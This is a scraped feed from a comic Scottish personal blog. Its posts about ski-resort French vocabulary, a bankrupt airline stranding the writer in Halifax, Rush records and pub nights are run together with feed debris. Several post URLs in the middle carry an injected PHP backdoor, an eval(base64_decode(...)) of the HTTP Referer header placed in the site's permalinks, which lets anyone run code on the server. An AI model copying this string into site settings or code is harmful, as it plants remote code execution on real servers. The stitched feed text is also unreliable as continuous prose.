My French is so poor that I am too scared and embarrassed to enquire further with a French person as to the word I am looking for, so I seek out our friendly Canadian bar man, Jean to ask him the right word.  We like Jean.  He keeps the Happy Hour running beyond Happy Hour for us and is mostly bilingual. 

Girls pants?  Like panties?

Yes, like these.  I flash the CKs again.

He reaches for his iPhone.   We saw him look up French words on his iPhone the other day.  He’ll surely tell me the word.

But oh no.  Jean turns around and asks the other bar staff.  The French bar staff.  No! Don’t ask them.  That’s what I want to avoid.  Asking the French people.

There is some discussion.  

There is some sniggering.

Le string? says the other barman.

No, no, no.  Not Le String.  

I am mortified.  

My face is bright red.  

I am clearly going to have to drop my skiing trousers.

Non. Comme ça.    Demonstrating that my CKs are all encompassing.

Ah … la culotte.

Culotte?

Oui ou le parachute.

Parachute?

More sniggering.

Parachute is the word for big pants for the les grandes femmes.

Other vocabulary learned 

partager – to share.  Useful to know when presented with a HUGE creme brule

casque de ski  - ski helmet.  Useful to have on head when careering downhill avec grandes vitesse.

To go up that big mountain.

In the distance.  

In June.

Not on our skis though.

But rather on our new bicycles.

Perhaps not all the way to the top.

Just most of the way up.

About 2469 metres will do.

But I have been higher.

Much higher.

Qu’est-ce que c’est le mot francais pour “Ouch“?

Maintenant, while regarding Le RueShow de les Antiques, je porte les boots de ski in prepartion pour nos vacances (moi et Fraulein Direktor) a Val Thorens.  Les boots de ski crush mes veaux (arf arf) tres mauvais.  C’est tragique n’est ce pas?  C’est tres importante a porter les boots de ski avant les vacances de ski parce-que to remind oneself that one has to suffer pour le sport. Mais un vin chaud or cinq toujours makes it plus meilleur.

Do you pense that I’ll be allowed in to Le France given my high skill in their langue?

Ah, le Babel poission dit that le mot francais pour “Ouch” is “Aie” and je pensed “Aie” was le mot pour garlic.  Ail droit! ]]> http://www.thisstandardscottishlife.com/2009/01/04/ouch-2/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 0 http://www.thisstandardscottishlife.com/2008/09/22/very/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.thisstandardscottishlife.com/2008/09/22/very/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Mon, 22 Sep 2008 03:32:16 +0000 Sandy http://www.thisstandardscottishlife.com/?p=281 It’s very late. Very, very late.  Or maybe it’s not late but very, very early.  All I know is that it is very, very something and it’s quite unpleasant.

But my nation has called upon me and I will tolerate the very, very and the quite unpleasant to assist in the presentation of all things Skotchish.  This may take me beyond the pale over the border, on the red eye to Lundyn but, for you my MaBroonLand, I will do this.  Just this once mind.  I expect recompense you know!  Payment in porridge will do.

NB this post was just an excuse to show off my slowly developing photoshop skills.

 Oi! Le Chef! Get yer allen key oot!  Ooh. Eer.  Missus.

I once got similarly separated from a pair of ski boots.  I checked them in at Denver Airport and they didn’t ever arrive at Glasgow Airport.  When the baggage staff traced them for me they were in Honolulu.  I think my ski boots were trying to tell me summat.

But it is my most favourite, favourite cycling song in the whole world.  I listened to it at least a zillion times on my trip.

Yeah, but I don’t want to hear it more than once.

I pout.  Only cyclists would get why it’s such a great song.  I switch the radio on.

…. 200 passengers stranded at Halifax airport as FlyZoom plane is impounded …

Eh … that’s our plane.  The plane we fly home on tonight.

…  as the company goes into receivership.

When an airline goes bankrupt you have to find your own way home.  It can be kinda difficult to get home when trying to secure two single flights from the Nowhere Scotia, Canada to WetPlace Glasgow, Scotland especially when it’s a holiday weekend in both Umerica and Kanadia.  We head to the Air Canada desk.

Yup, next economy flight I have available is on Tuesday night (today is Thursday).  But that’s no good for us coz Le Chef has to be somewhere in Skotchland that day.

So tonight?  What flights tonight?

Let me see.  Yes, I have two seats.  Halifax to Toronto to Hellrow to Edinburgh.  Leaving in two hours.

It’s a bit backwards to go to Toronto and it’s a bit hellish to go to Heathrow where there is the evil blackhole that sucks luggage.

OK.  How much for two tickets?

That will be $7140.  

I whimper.  My credit card whimpers.  

Le Chef instructs me, Give the man the card. Let’s go home.

I whimper some more.  Sparks issue from the credit card.

A glass of champagne or two in the Maple Leaf Executive Lounge and all concern over how to pay for £3500 worth of flights is forgotten.

Hmmm …..having listened to 2112 tonight I kinda get why I loved it so much. It’s tuneful. It’s rock. They play their instruments well. They used lots of technology. But it’s quite …. well … very, very … it’s infact ….. monsterous Cheese! And another thing …. listening to Rush lead me to waste my time reading Ayn Rand’s Anthem and to hide in my bedroom practicing furiously on my guitar till I could play the opening to The Trees flawlessly with neither flair nor passion.

Fortunately I was soon to rescued from Rush by punk (TY Siouxsee and Joe) and teenage fumblings.

….. we have assumed control

….. We Have Assumed Control

… WE HAVE ASSUMED CONTROL

Where’s that Nelly Furtado song that I like ?

Tsk Dolly, you may be genetically modified but you ain ‘t no fish

Fearful that I was going to fade away last night I decided I needed to carbo-load and availed myself of 4.5 pints of the finest ale Deuchar’s IPA and a plate of nachos with beans with my work teamies.

And then this morning, Le Chef goes and f**ks off again to allegedly do more worky type business, supremely important yadda-yadda in Athens and Barcelona. His parting shot was something about suntan lotion (business my arse). So now I am reduced to a diet of ginger cordial, sunflower seeds and coriander stalks.  Red Cross food parcels welcome.